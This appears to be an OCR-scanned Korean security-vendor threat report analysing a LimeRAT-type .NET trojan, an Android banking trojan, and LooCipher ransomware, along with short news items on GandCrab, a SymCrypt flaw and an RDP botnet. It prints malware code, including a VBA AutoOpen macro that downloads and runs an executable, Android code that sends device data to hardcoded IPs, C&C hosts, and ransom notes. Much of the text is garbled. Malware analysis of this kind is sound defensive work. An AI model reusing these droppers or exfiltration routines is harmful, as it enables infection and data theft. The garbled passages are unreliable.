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S 2HO
=st OZ 01
A
tem.Runtime.Compil
RunklnP Intero

PE
References
Resources

b Ml Base Types
b Derived Types
GE cctor( ~
q%
@ “ 1 t 1 \uB020,
(&
-1 o 10t io : ; ]]
( \u0020)
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HI

OPMTE M T

22, %A= ER|

7 PRI THZE[Of QICt. CiSat 20

[T 3] QREE T AR QU= 8

| EIR|
A RIAES WORRT TRAA B PM0| 2 T S TH 5
2 XP7| Kpl DRAIAS FRSICE

2RIl HSE|0RU= B

< array.

s = arrav[il;

[ 4] Z2MA A0S Hw =
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I 2N 0|2 Chaat 20t

Process Hacker, Process Explorer, dnSpy, CodeReflect, Reflector, ILSpy, VGAuthService,
VBoxService, Sandboxie Control, IPBlocker, TiGeR—Firewall, smsniff, exeinfoPE, NetSnifferCs,
wireshark, apateDNS, ShieCtrl, SpyTheSpy

[E1] D=L =2

f (Operators.CompareString Name, "QHWatchdog®, false)

text = “Total Security 360";
f (Operators.CompareString R e
text = "AhnLab-¥3";
f (Operators.

text = "BitDefender”;

[ 5] B T2AA Hw F=

ESET, AVG, Avira, Total Security 360, AhnlLab-V/3, BitDefender, ByteHero, ClamVA, F-Prot, F-Secure,
GData, Jiangmin, Kaspersky, McAfee, microsoft security essentials, Norman, nProtect, Panda, Prevx,
Sophos, SUPERAntiSpyware, Symantec, TheHacker, TrendMicro, VBA32, VIPRE, ViRobot,

VirusBuster, Avast

[H2] i D2 R ==
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0x
I
AI
1%
LE

24. 7P =X X KIS 4R S5

(1) X7t SH|

Zt E2lo[He] 2E(C\ D\ )2t T\Users\AllUsers\' , ARIZ 724 ZC(shell:startup), C:\ProgramData’ &
20| Windowsexe I 0|SC=2 AP} SXeit, CI22 E210|E FE Z=0| A/t SH[Gh= Z=0|Ct,

str = arravli];

(str + ClassB.string-4))

(Assemb |y,

Fwception arg_15C_0)

(arg_15C_.0);
rord )

(WETIPNZ =) el
APt =M 01, CT\ProgramData’ Off SAE Windowsexe™ 2= CIA| ARHSICY,

2) Xtz Al 5=
A AAEZHO NYAN , NYANP O[ECZ ZiZh1 2 5 200 UMTACT} XS AREE & Q= SESICL
XA AAEEY S2 x}E AlsH YRAEZ|Q} AIRIEZ J(shell:startup)dlle. S=o10 =R FEA| K=

=) 4 QIS 3T}

0| ME =2
MNYAN  =H| 2019-07-11 2= 2:000§ - E2|AS = 27|32 2 00:01:0004Ct SH=3HL|C}
@ NYANP Z=H| 2019-07-11 ©= 2:000f - E2|AE = 97|02 5 S0OiC} $H=3HL|CH

[ 7] 214 A0 S5 3
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25. 7|24
HXIAEZ|  HKCU\Software\Windows.exe\ Stel kol &M, D=MA ENIS, 7] = HEE XEBit 0]

7152 LEAALI LimeRat S 7[RICZ ALY,

NUMZ++;

hile (num2 <
(num ==

num = 0;
1t num3
{(this

- num3);

15, RegistryValueKind, St

[12 8] 7|28 F=2| 2%

26. 20 7 Is
C&C( bom1004.codns.com’” )2EH SAK|C| HAS QIO N0 7[52 33T
Y = numd)

nt)numd - 1LY + 1 =1 + 1]

num = -1L;

Thread thread
thread.s

[(12 9] -223H0] T U
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b =0 ZetE FB0i= S 50710|H, BB & 7is 432 taat 20t

2520{ Tisr
TextToSpeech M
delchm 3= ERRN B35 I/ RIGOE A
taskmgrON ZRFUEKHOn/Off
OpenWebpageHidden AMEXtHZ2 iexplorer ERIRPKE Sot 2IHP K| TS
MonitorOFF LA OFF
RwareDEC USSIE I =53t s
NormalMouse DieA == 255 PRIEHIEC
ChngWLL HigkefH S
Kl 7= LTS
msgbox AKX BiA =5
ddos slowloris start Slowloris DDoS &S24 A}
ll A S Option
DisableCMD CMD Higkdst
RwareSU TA-E O 3 ARl
seed uToment HIEL
HideBar A BAE =L
restartme ARE THEE]
GiveMeAdmin eventwr.exe S 022t UAC 22|
BitcoinOFF BitcointGrabber SX|
taskmgrOFF ZIfE K H ket
EventLogs EventLog 2|
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OPNAC 4 BT
antiprocstop TR HE R 3K
shutdownme ApEl ="

ReverseMouse DRAHEHE

spreadusbme USB Of| P+ =]

ClearClp S AR

EnableCMD CMD 2¥4st

MonitorON SLEON

SetClp SEEE =4}

ddos ARME stop ARME DDoS 22 &X|

ddos slowloris.stop Slowloris DDoS &2 =X|

OpenWebpage P K| 2=

ddos ARME start ARME DDoS SZ AR}

botk wscript.exe, cmd.exe 21 A 2
ASERISE

BitcoinON BitcoinGrabber AP}

Rware Rl 7 s

pespecs AREIARF2PI

prof HKCU\Software\Windows.exe' ZlIRIAER| e S Af|

ShowBar A HAE HOp |

BlockWebpage SAE IS B5510 MO [E X

antiproc EYOENA LREA| B2

searchwallet HIEZR | EX I 2RI

PLG e SR 2

Ex S SN NS

up IRIRP2CE S XKkl

ESTsecurity




ret T HEEAHE TS

(AP SR

un oRdC Bx M 7Is

inv HIRAERZ D] HIO |42 KPS e e A9
m MU LR 3 A0H

[ 3] 2R B0 7 s =5

27.307k
HH] 7[S0IM TS 2IZix|0] ot TE0L 2| LA, 249101 7is, HIETQI KiZh A W 7150] EXfetrt
(1) DDoS 2%

= OIMACO|A AKSHE CEA 220k= ARMEAttack’ 1t Slowloris Attack’ O] QUC ZZKte| Cl=A 224 H
HO| LH2X|H ZEPC= SAX L APget EHURLE DDoS 3AS Al=SiCt,

Threadsto:
ime;

new Thread[ Threadsto - 1 + 1];
(string,Concat{new stringl]

Attac
=
started!

num = Threadsto - 1.
for €int i = 05 i <= num i++)

[i] = new Thread(new ThreadStart(ARME.smet
Lil. true;
[i].Start(

A ("MSG" + Cla string_12 + "ARME Attack is Already Running on " + ARME,stripg_1) 77 "

[ 10] ARME DDoS &2 =0 =t
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ng Host, int Threadsto, int Time,

lowloris

Slowlor [
Slowle 3 t | Host:
Slowle data;
owloris Threadsto:
I Time

Slowloris.str

(Slowloris

Slowloris.string_1 string-1 ace( "www. "
(Slowloris.sti

Slowloris 354 Slowloris.str

2w Thread[ Threadsto - 1
Concat{new stringl]

[TI2! 11] Slowloris Attack T= =
(2) #HEH 7|5

njrat O] Ck2 &4 I TS} THE B2 7Is & Rl 7[S0| Sttt SHK=

AUSSIOIH YSSIE MA2 “Lime” SYAE 7IEICL =58} 7|5 EBH LSO ERtistt,

les(MyPath).

MyPath)[i]);

[ 12] Rl 7 Is
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opyTs

HI

M T

(3) HIEZQI X[ 4 HEY

D2=MA 244 0120 BITCOIN' ZXIE0| U= 22, SREE0| MYE HAE i8S
13LmFmtuvTcUKZZKSyMMmwjuLajTkhe84F  FAZ HASICE 4K} X FAZ HASIH HIEZTQIS BE[oHH

= Z{O=Z HoIC}

- array.

s =sarravl il

Thread thread =

f Thr
thread,Set
thread, St
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Tro;an MSIL.Bladabindi 2PET == {IZIK|0] 7152 £3lok= AMTEZAN, 7|22, PC M0 S 50 0§7H2| SZ4H|0]
HH JIs2 7KL = 7150 CI=AARME DDoS, Slowloris DDoS), HIEZQI X2t F4 HZA M0 7|S0]
E?:.*EICH QU0 X|BHQI I[HE A =~ UCH,

CESH OHHO|| WAzl ZZ49| BRI QEAAOl piRat It LimeRat 2] AATCEE F[§hol0] HMERICH= FO|C
QLEAMAE 0|25+ Z24 HiHO| 2GS FHZOI 5K} UMHTACE A MIEE £~ UCh= A0 QUC
ot 22 AMTAE OGHE 0|25 | i X7t 22HSH XM URL 22 2 I CIRECE X|U5H0F

510 110t IFISS QEAAD FAIE OPNTIC XIck WOl L) X2 TIHGHOF BiC

SiXf| 2= Trojan.MSIL.Bladabindi’ 2 RITtSH QUCE
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[Trojan.Android. Agent]
OLMTE M HTIA

1. 70

HeFH0A 2HY AHT210] 2HEA0P7H Tieteto] THA| SEUC HAAOZAO| 7[SERE Off2t FE &

7St 947 XF 50| F7ISCt

|_ﬂ—l—oo

ol Sh=0liki= HER0 7SS WY RUAX|TH HH =5 F= FF0| S oy 0| ST, ofid &2 4
2EE SoliM 24t FE, 45 32| /2 H=et 20 71X 02| 7P FEEE EFlet.
£5|, offld ¥=2 EXS 08 ob7| floliM S= Tencent Al2| IS HESIRALH.

=2 2M HIMUAME “TrojanAndroid Agent"S M| 2A16110A ST
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2.1 IR =4

211 IR EE
33 Tencent Al2| THZI0| MEE AHo| IHLHAE [T 1]0k= B2 Q| 7 [X|Hut A ALHESO| 7|20
UL A el 2712t BEOINM AMZS TlbeHt
[ 219 =2 1Y E HEfe| SaiA FH0|H = Hut HHE 2ES T

= el s = = b

M
ol

IS 4 gin 220| olY 0}

A
1

|<?xml wversion="1.0" encoding="utf-£"?.
<manifest android:compileSdkVersi:
<uses-permission android:name:
<uses-sdk android:minSdkVersion:
<uses-feature android:name=
<uses-permission android:name:
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission android:name=
<application android:allowBacku L android:label="'
<meta-data android:name="T. d n" />
<activity android:label: me
<intent-filter>
<action android:name="
<category android:name:
</intent-filter>
7TECTIVITY.

android: comp].leSdee ionCodename= ""'Ipac}:age="
ion.RERD L >
4" android: :argetSdeersmn—":_" />

IplatfomBuildVersionCode=" 28" platformBuildVersionName="|

1.per

android: name*"

g/mature

android:theme="(

ictivity2019041e

[ 1] T ] oA E

v f# com &y
v 3 tencent v f com
v 8 StubShell - i
> (@ SystemClassLoaderlnjector v & telephony
> (® SysteminfoException - mts?pp':f"”“""y
> (@ TxAppEntry . ® MainActivity20190416
3 G TxReceiver > ® MalnSemce20190416
, @ XposedCheck -
> @ Ziputil ) @a
> O a : (Ga:
> ®b » @d
CR . &
> ®d [cX°
& bugly . okhttp3 .

(2 2] it MED H(D) S
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M 1Y & =st H 2252 HH ==2=k= SO I 2595 Sk SH2= 0|R0{TCt s SO DA
AmZ sfel AESO0| 7IZEO 7| R0 A=Z0|= SO O 22| EMS 0235 MM B2 BRI
0IF SaliA 2tE| TANHSS F1odotil SO TS| X E45 Leliet.

L
0
1]
rdl

b sEeeE 8§ EFOF W
P Wom W ONEC EG - SXCEE . XIE HS
W Warning X

n Unexpected attribute section format ('

Loading file into the database,

Cancel

: : N : : -l il =
g sEwmeE W I
: B.opn BN NG : B O 900N o B B
‘,’QWarning

n The dynamic section string table from section header (00000658) differs from DT_STRTAB's one (00005890), using the latter

Loading file into the database,

Cancel

(121 3] SO I20l| MEE CIF| CROdS
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03 o¥A=

HI

AM H 1

21350 I =23}
SO mile] £ BE2 =e} =AY oy B2 SO IZe| =7|=t B0 ===t it

(sub_9EF911A0 >>

dword SEF95008 >> 16;
dword_9EF950083;
(dword_9EF95008 - (dword 9EF95008 >>
y dword 9EF95088 - (dword 9EF95008 >>
vll i + (dword _9EF95008 >> 16);
(unk 9EF921A0) (1 + (dword _9EF95008 >>

[sp+Ch] [bp-2Ch]

v8 = (unk 9EF91160)(vil,
dword 9EF95008 = i;
~eturn (unk 9EF9129C) (v8);

[j_al 4] SO ]1|o 1 =X gé—_é}
i1 20fl= Game Center 2| 21HO| .eEE|TF E|0] QOLE HAE A| Bl 2fHIE L-E5(0]
SIHO|CE

oFd lIM A

ro ol-J

=
tjE*C)}HEE ggoH IHé;
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03 o¥A=

HI

AM H 1

21450 IR V=28t
JNILOnload &+=E SoliM 7t 5=3IE Tt

® 0B Pseudocode-d ® g udocod
_d1_dlsym(
B3304B21
20002821
20000002
2000001
4821
20000009
B4@0AGD4
20000000
B4@3 2
R9 B4796FCO
R10 B404B4A0
- R11 BES@19FC
pthread_mutex_lock)(& dl_ 7ZL1@g_dl mutex); R12 AS6FC
4 ) SP BE901958
LR BG6FB9ACY
PC B6F89AE4
PSR 80070030

3find_containing_libraryPKv)(v3);
)
9d1lsym_handle_lookupP6soinfoPS@_PKc) (v

Z19d1lsym_linear_lookupPKcPP6soinfoS2 Pv)(v5,

IILie V.L/

(unk_B33@4D9C) (»

(unk_B33845A8) ( , dword_B3307004)
vll = (unk_B3304D1C) (&

vl2 = (unk B3304C4C)(vi1l,

[0 5] 571 =53} TRY
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03 o¥A=

HI

M HT1

2.15)NI &2
RegisterNatives & SaliA 0{2{ 7H2]
DEX IS 555} st

11 FHM “load”

—_

stcall

turn 1;

(unk_AE@31C18)(

B Output

Caching *
Caching *

Caching '
| FFFFFFFF: FFFFFFFF] | Eacning

[[12 6] load &=

ESTsecurity



opyTs

HI

M EHT1

2.1.6 DEX Ifgd =53}
IEZ0|E HERRY HEH S DVM QK| ART 2IXIS 2lRI5k 00| [M=kA] DEX Dfo| 5o} 0| L S
A0 ARSE 717(2] HEFY SEf= ART O3] ===t £ DEX THE2 libart.so L0 SfoiM H|Z22|= =

HEZ2|of 25 = DEXTES ATFREZ HI BT

—

.

F ( dword_AE@3A730 <= 19 )
if ( dword AE@3A730 == 19 &% !(unk_AE0243FC)() )
)

v3);

(unk_AE@31C18)(3,

eturn ((*v5 - 48)

urt

f ( (unk_AE@25EE@)("/system/lib/libart.so") || (unk_AE@25EE®)(

(unk_AE@25F@@) (2unk AE@3A744);

return

ESTsecurity



DO RO

]

R6 BED3EECO ck_chk_guard
R7 B479B9638

PUSH. W R8 DB35

MoV

SuB

MoV

MOV 2

MoV F R3 8 Modules

BNE.W )7C3

c
v
Q
I
3
G
I
3
A
I
F
i

HFOOOOO NG

Name
D __dI_dISUm Snippet script bod
dl <

Name

&, Default snippet «

fp=Ffopen(
(i=start;i<start+end;i++)

r

1

fputc(Byte(i),fp);

1

1

olumn:2

ripting lan,

Caching '
AE@01000: loaded
Caching '
Caching '
B6CDC5A8: thread has
Caching 'M
B3D4B44
| FFFFFFFF: FFFFFFFF| | Caching

[C72 7] DEX I B
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2.2 dex IR 2
22,1 2kl 51H

AS RS MAGIH FUES
HHEFR] AKRZS EPRiSt OF BF
103.93.79.112 FA°| LIS A
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7 . 100% 0 2F 1:14
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03

-

oM

A

M HT

protected void onCreate (Bundle argS) {
super.onCreate (args) ;
this.requestWindowFeature(l);
this.setContentView(2130903040);
this.startService(new Intent(((Context)this), MainService201904l1¢6.class)):
this.getSystemService ("notification”).cancellll();
if (BuildSVERSION.SDK INT >= 23) ({
Intent v0 = new Intent();
String vl = this.getPackageName();
if(this.getSystemservice("power").isanoringBatteryOptimizations(vl)) {
vO.setAction(”android.settings.IGNGRE_BATTERX_OPTIMIZATION_SETTINGS");
}
else |
v0.setAction("android.settings.REQUEST IGNORE BATTERY OPTIMIZATIONS");
StringBuilder v2 = new StringBuildex():;
v2.append("package:");
v2.append(vl);
v0.setData(Uri.parse(v2.toString())):

1

this.startActivity(v0);

this.a.loadUrl ("http://103.93.79.112");
this.a.goBack():;

WebSettings v0_1 = this.a.getSettings():
v0_l.setJavaScriptEnabled(true);
v0_l.setBuiltInZoomControls(true);
v0_l.setLayoutAlgorithm(WebSettingssiLlayoutilgorithm. NARROFN COLUMNS) ;
v0_1l.setUseWideViewPort (true);
v0_l.setLoadWithOverviewMode (true);
v0_l.setSavePassword(true);
v0_l.setSaveFormData(true);
v0_l.setGeolocationEnabled(true);
v0_l.setDefaultTextEncodingName ("utf-8");
v0_l.setDisplayZoomControls(false);
v0_l.setDomStorageEnabled(true);

23 1] ¥RE 8

rol

A A
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A

M HT

222 484

Z2 O/t =11 4= EHIY SEQI0] Z= SO0fA H4 HE FE0| el ST,
https://ti.360.net/blog/articles/the-first-counterfeit-wannacry-malware-that-happened-in-brazil/ £ L1}
Hiw SHE™ [TF 9]2] HH T=rt SYst! [ 1012 HHO HE: HiZSoICt

public static void a() (

try {
if(b.b !'= null) {
return;
}
b.b = com.android.mtsupport.e.a().b();
b.b.a{"ping", new a() {
public void a(Cbjsct[] arg3) {
b.b().a("pong", new Object(0]):

}
h:
b.b.a("order", new a() {
public void a(Cbject([] argé) |
int vl_1;
try |
OiseTwe 1 = argé[0];
String vigE (JTS0HCT ecT)vE 1) . getStodng ("order”);
Log.i("oxdar®, v1):
switch(vl.hashCode()) |
case 546266849: |
if(!vl.equals("x0000cl")) {
goto label 46;
}

vi_1l=2;
break;

}

case 546266851: (
if('vl.equals("x0000cn")) {

goto label 4é;
}
vl l=3;
break;
}
case 546266943: |
if(!'vl.equals("x0000fm")) {
goto label 46;
} case 751574645: {
if (vl.equals("setRingMode")) {
vil=0; vl 1l = 6;
break; goto label 47;
} }
case 546267129: {
if ('vl.equals("x00001m")) { label 46:
goto label 4§; vil=-1;
} break;
}
vil=4; case 19799011057 {
break; if(!vl.equals("sendSMS")) {
} goto label 46;
case 546267346: | }
if(!vl.equals("x0000sm™)) {
goto label 4&; vl l=275;
} break;
}
vlil=1; default: {
break; goto label 46;
} } .

[T72 9] 54 Ati=ro| 474 oy T

[y R =Ty By | o
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Ve
12
0z
i
AL
1x
i

Control instruction

X0000gsm

X0000bk

X0000ca

X0000fm

X0000hk
X0000Im
X0000mc

X0000mn

Instruction meaning

0, get mobile phone text message
1, send text message

2, get call record

3, get address book

1. get the installed bank APP
2, join the system uninstaller
3. start the specified APP

ESTsecirity

-1, turn on the camera to take'a photo

0, get the file name, directory
1. get the file name, size

Execute the specified shell command (DDOS attack, etc.)
Get location
Cell phone recording

Get phone firmware information

1. TS,

£ 49| 3=, B0 (19 BE 0, g 20 3=
ThelE, ool M

[HREE

. 2AEE

SxEs

1
PN

= =] d
15 73 B4 €73

—
=]
=

RS

(22 10] 2 2RI ) 224 HE(5h T Hw
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M HT

2238524
20 71K Off2] 71712t HAE FESS 2Hol0 (2 2 ZF[ei,

—-——r=-\s2

try {
Object v@_1 = MainService28190416.a().getSystemService( "phone”);
try {
e.a = ((TelephonyManager)ve_1).getLinelNumber();
vl = ((TelephonyManager)ve_1).getSimSerialNumber();
e.b = ((TelephonyManager)ve_1).getNetworkOperatorName();
if(e.b.equals(” ")) {
goto label_25;
3

e.b = e.b.replaceAll(" ", “_");
goto label_25;

iri.encode(Build.NODEL);
1dIVERSION.RELEASE;
10 .MANUFACTURER;
BOARD;
.BOOTLOADER;

=

-

- p

= Build.USER;

e Buila$VERSION.RELEASE;

= Buila$s SION.CODENAME ;
=

1

BulldSVERSION. INCREMENTALY

BuildSVERSION.SDX; ' . I
String.valueOf (Buil dSVERSTON SDRLINT)

via; ; |

t = MainService2019@416.a().getSystenService( audio”);
stringBuilder v1S = new StringBuilder();

String v24 = v13;

viS.append("");
viS.append(((AudioManager)vid_1).getRingerMode());

String v25 = vi15.toString();

Bcolean vi13_1 = Boolean.valueOf(MainService20198416.a().getSharedPreferences("blockCalls”, @).getBoolean( status™, false));
vi3 = "" + v13_.1;

vO_3 = "http://103.93.77.91:8888" « "device_id=" + v0_3 + “SphoneNusber=" + e.a + "Rcarrier=" + e.b + "Asim_number=" « vl;
vO_3 « vO_3 + “Bnodel=" + v3 ¢+ "Emanufacturer=" ¢ v5 ¢ "Srclcase~" ¢ v4;

ve_3 = v8_3 + "Bboard-" + v6 + "&boot_loader=" s v7 + “@brand=" + v8 + “"Bdevice-" + v9;

vo_3 = vO_3 + “&fingerprint=" + v10 + "Shardware=" + vil + “Shost=" + v12 + "&product=" + v24;

vO_3 = v0_3 + "Rtags<" + v23 ¢ "Rtype<" * v16 ¢ “Buser<" + vi7 + "Bversion_release«" ¢ v18;

ve_3 = vB_3 + "Sversion_codename=" ¢ v19 ¢ “Sversion_incremental-" < v20;

vo_3 = vO_3 + "Bversion sdk=" + v22 + "Bversion_sdk_int=" + v21;

v0_3 = v0_3 + “Rring mode=" + v25;

vO_3 = v0_3 + “Bblock_calls=" + v13;

ve_3 = vB_3 + "Asite-mature~;

[T 1] H2 2
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. =
ol oty M2 X WS ARRISIT, 717(2f 2AE 7ol BE HHE EF|6i 24 ¥
Lol Hol= 711 HEE EF[eiCt So| Y| FME HEA ob/| {loliM S= Tencent JIHOZ ’51%°”Ef
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Afree Decryptor tool for GandCrab Ransomware released
H=T3#(GandCrab) & é.*%"—JIO1°I Ztl HE0| Z4F = D[eHRE0A &2 AAI0] Ut NoMoreRansomware 7t
HETH 2 HAME S5t == S/HUC

HEF Y z|A HEIO| DSHAEE2 NoMoreRansom EWOIEN| 371 B F=2 2335t 22 Soll =2 XISk &
oIS S35k 4= YA EACE O] B2 HET M KM 1,4, 12|11 5~5.2 2 S35} & D0 Mo%-*—’.“—mllf

==
FE=E2 0[0f CHoli Otzfet Z0] SXILH.

6E 17 Y HET 2HMQ0] TH2|o| XA HME MER 5S35t =0] www.nomoreransom.org | 22
SN AL OI = 0[ZolH, ToliXk= HEMLIE XS5 ‘E‘JJE oli717} Ysst ot MHE CHA| EEE =
oIEr ”»

AN .

0| HIETH S35t 22 QLAEEZ|0, "0, E7I2|0t, Z&A, =Y YIEEHE, F0iL|0f, =, 0|72
H HsE QZE U J-CAT(Joint Cybercrime Action Taskforce)at 7HQl TELHQI Bitdefender 2t
2H O|F0f tH ZAuCt,

0] BHMY= 2018 A = XS LIEFSACE SA| ALO|H EQF S|AIRI LMNTRIX 7} {22 AMH|AS
HAMAI(RaaS)Q! HETHMS WMLt 0] MH[AS 2HMY 0= CHI Rl ZAIQ SHZ HFLIE[Of|A
SH EOoH, HEXESE 0|2 HiZESI7| 2I5H RIG, GrandSoft YAZZ9l F7|EE AL23HLE,

Hol H= 7|12 S 2= 2 JIsE ZE O HES SAMKT, XH 6 o= 23S
Sie:

1
SHolZIC Y HHEshd XS HLHO HES B2t MUt AR

LA
— ]
F=Z HO0HE S+t o 5 M F2{o] #HygHUE B = %S’iﬂt.
HEIY T2 F==t 2 0l FA0M O2EE Jtsoith

https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing—the-mess-you-left-behind/
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New LooCipher Ransomware Spreads Its Evil Through Spam
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o PROTECTED VIEW Be careful—files from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View. Enable Editing X

ENABLE MACROS TO VIEW THIS DOCUMENT
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AMEXP} IEEE 243A7[H, HI0[EY0IE S5l Tor MHZE HESH!
http://hcwyoSrfapkytajg.onion.pet/3agpke31mk exe IS CHREESHL 0] TS LooCipher.exe 2 0120]

23 Info_BSV_2019 - ThisDocument (Code) =3 o) %~
(General) + AutoOpen -

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject ("Microsoft.XMLHITP")
Dim bStrm: Set bStrm = CreateObject ("Adodb.Stream")
xHttp.Open "GET", "http://hcwyoSrfapkytajg.onion.pet/3agpke3imk.exe"”, False

xHttp.Send
With bStim
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "LocCipher.exe®, 2 '//overwrite

End With
Shell ("LooCipher.exe™)

End Sub
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LooCipher 2tA3ll01

2HAR07} AR, LooCipher £ BI=S HAIEN HEH 1R D, 7| M2 AREL HEZQ FAE X
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File Edit !lew Settings 2
DEQE| 2 s s AL |E LU | R

2 /! DON'T REMOVE OR ALTER THIS FILE /!

2 LooCipher settings --> although this parameters are already stored in the server
it's convenient to not remove or modify any part of this file to assure the correct
performance of the decryption program with the purpose of guarantee that you can
recover your files.

¢ [USER_DATA]

7 USER_ID=GxKwh1vXEBHbASKVZUEeMxebZ

8 LIMIT_TIME=2019/06/24 14:28

9 BTC_ADDRESS=1P5s 5vd9dKwuy9FumDkec9qquCyTLjc2Bxe
10

Ln1:10 Coll Sel0 572 bytes ANSI CR+LF INS Configuration Files
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@Please_Read_Me.txt 2h= 0152 T LE Eot MM EICE 070 REE B IE ML S| 2N, S5 H=
HIETQI A X|25H= HitH S0| IEHE|0f QIC} S 2HAHL= 300 92 = °F 330 2H{o|Ct

# ©Please Read Me.txt - Notepad2 &
File Edit View Settings 2
Dsad 2 palE@ e o
1R: what happened to my files?
A: A1l your important files (including those on the network disks, USBs, etc.) have been encrypted using a strong algorithm with a private and
unique key generated for you.

Q: where is
A:  Your key

Key?
stored in our TOR servers in order to preserve the anonymity.

Q: what do I do?
10A: You need to make a Bitcoin payment for the decryption.
Please send €300 (~$330) worth of Bitcoin to this address: 1PsS5vd9dkwuy9FumDkecdqquCyTLjc2Bxe

4Q: Can I recover my files by other means?

A: No. There is not such a computing power nowadays to find this key within the time of a human could live. Even if you use Tianhe-2

(i Tkywa , currently the fastest supercomputer in the world, it will take millions of years. Neither NO ONE ANTIVIRUS CAN BRING YOUR FILES
BACK, the only thing they could do is delete the decryptor software, but it's impossible they can recover your files, and if some of them is
trying to sell you that, we invite you to purchase it and try.

2)

18Q: How much time do I have?

13A: You have 5 days since your files were encrypted. Specifically until 2019/06/24 14:28. After this period your key will be automatically
destroyed (except for the case of having made the transaction within the period but because of the transaction remains pending of being
confirmed by the blockchain this time period is excedeed. In this case the key will remain safe throughout all this "pending of being confirmed"
status of your transaction and additionally it will remain 7 days more after your transaction is confirmed in order that you have enough time to
recover your files)

Q: How can I trust?

we strongly guarantee you can recover your files. Besides, if we didn't do it nobody trust us and we wouldn't get any payment. In fact, we
built the decryptor in the own encryptor software as well in order to make the decryption process as simple as possible for you, thus avoiding
having to download an external decryptor. Just make the payment, click <Check payment> and if your payment is approved the <pecrypt> button will
become enable to click.

If somehow you closed the decryptor window and you can't run the decryptor software you can download a copy of the decryptor through this link:
https://mega.nz/#!KCIRVIRY! YrugGjv1dsoTunZbcojebAzSLa7hbe41nInkimlgqZo
(oon't worry, your files won't be re-encrypted if they already are).

n1:2 Coll Sei0 235KB ANSI CR+LF INS Default Text
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All your important files are encrypted!

If you see this text but don't see the "LooCipher" window, then your antivirus removed the "LooCipher"
decrypt software or somehow you closed it.

If you need your files you have to run the decrypt software and follow the given instructions. So,
remove "LooCipher” from the antivirus quarantine or find a copy of "LooCipher” in the Internet and

start it again.

You can download "LooCipher” from this link:

(you can directly copy this link from the '@Please_Read_Me.txt" file)

Please, don't spend time searching alternative solutions to recover your files. The only way to recover
them is through the "LooCipher" decryptor.
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All your imporant files are encrypted!

Al your mportant fies (photos, documents, databases, etc.), nduding those on the network disks, USB, etc. were
encrypted using a strong algorthm with a private and unique key generated for this computer. This key is stored in our
TOR server and the only way to receive your key and decrypt your fies is making a Bitcoin payment.

We strongly guarantee that you can recover all your files safely and easily.

But you need to make the payment before S days after your fies were encrypted, since the server wil
automatically destroy your key after that period and then nobody will ever be able to restore your files.
Don't spend your time searching akernative solutions to recover your fies because there is no other solution. If you don't
know how to buy Bitcons cick — . TO RECOVER YOUR FILES FOLLOW THESE 3 STEPS:

1. Send at least €300 worth of Bitcoin to this Bitcoin address generated for you:
1Ps5Vd9dKWuy9FuMDkec9qquCyTLjc2Bxe

2. Once you have made the payment click > e :FV T

* your transaction ours to be confirmed by the Blockchain system, so if you Check Payment and it fails wait some hours
and try again. Don't I not delete your key while your transaction is done but pending of being confirmed

3. If your payment was approved, this <DECRYPT> button will get automatically enabled.

our key will be destroyed on:
[ DEcRyPT O | | [ 30t5/00124 143
e 119:57:27

Server is up
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Bad Cert Vulnerability Can Bring Down Any Windows Server

T2 50 M27P7} Windows 8 Al 2 01 BIFIQ| HIol 255} 210[S2{2I0A AHIA HE(DOS)S LT 2 U=
THR| EJX] 942 FOFHS YZICE O] 2H= Windows 8 01 LHE QL55H AIZS TH6HH, Windows 10 B

1703 2E HIHE st L2|E ot Fool= 3R 2H0[E242]21 SymCrypt Off ZXHSICL

2 QIBA= B R 7 ISol

29| FoF B7712! Tavis Ormandy = SymCrypt £ 2E51H £ HIE T{E0IA
"beryptprimitives!SymCryptFdefModinvGeneric'E AFESH EE2] A5 Albtet I GMO0| ELIX| i=Li= XS
WAL = Q15 ZEMA S(Ioh= S4~0A| MEFE X509 CIXE QISAM= siE KIS HAES 4= QUL Of
FUH2 oliF CIBME XM2[Sl= RE T2 THO0IM HIE LAZICE,

CIXIE CIBM=TLS 2F 22 Eof QIEU T2 EZ0|L} CIX[E ME W L3S SRISk=0| AFZE | IZ0, Sk
22 A|ARI2 CISH BHHO R Of QISME 4~AISH 4~ QICt M2A 0218 2 QIZAM= S/MIME Z2EZ0|Lt
schannel(Secure Channel) B2 S5t CIX[E ME 2 AS3HE HAXK|Z HEE 4 QT S22 6l FAUH2
A= W2 MO AR H AR Windows AMHE CHAIZ 4= U2 Z0[2} BiZiCt

" Tavis Ormandy & @taviso - Jun 12, 2019 w
| noticed a bug in SymCrypt, the core library that handles all crypto
on Windows. It's a DoS, but this means basically anything that does
crypto in Windows can be deadlocked (s/mime, authenticode,
ipsec, iis, everything). Microsoft committed to fixing it in 90 days,
then didn't.

Tavis Ormandy &
@taviso

Today is day 91, so the issue is now public. | consider this
relatively low severity, but you could take down an entire
Windows fleet relatively easily, so it's worth being aware of.
bugs.chromium.org/p/project-zero..

QO 513 12:34 AM - Jun 12, 2019 0

Q 238 people are talking about this >

[EX] https:/ /twitter.com/taviso/status/1138469651799728128
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New Brute—Force Botnet Targeting Over 1.5 Million RDP Servers Worldwide

HOH HTLUS0] SiXY QIESlIoA S/HEOZ MH0| 7tsSt =S RDP AH 150 Bt 7H O[S HREZAMGSH=
z UZAZICE GoldBrute 2t HEE 0] 24l MAI= WERZ0 ZE MER FHE AAHS
FOZ= M SHHE|H, FZ0| 7kstt MZR2 RDP MHE Z0F EFERLGIES HA|ICE 0] 2212 RO
AXNSE2 HOEiE T E EAISA BIXI=|X] 97| flch ZE 717] =442t CHoj| 1REt 7S/ THARIE
AISot=s BHICL T2 2 7L MZ CIE P FAZEE BRETN ZA45 YITE HASHT
Morphus Labs 2| Renato Marinho 7t ‘2745t O] Z4HQI2 Of2He| 21} 20| 2551, 2is HAL2 of2fiet ZCt.
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Valid RDP Addresses and
Credentials

l ‘ 7
Y
1.5+ Million Unique
IP Addresses
Brutable ﬂDP Pool
Scan for open RDP brute-force Brutable RDP IP
3 (brutable) 1 attack and GoldBrute Addresses (at least 4
RDP Servers deployment 80 to start brute-
force phase)
y
>3
&7
l b 2
RDP HOST AES Encrypted
Connection to C2 via c2
WebSocket (port 8333) Traffic
6 5
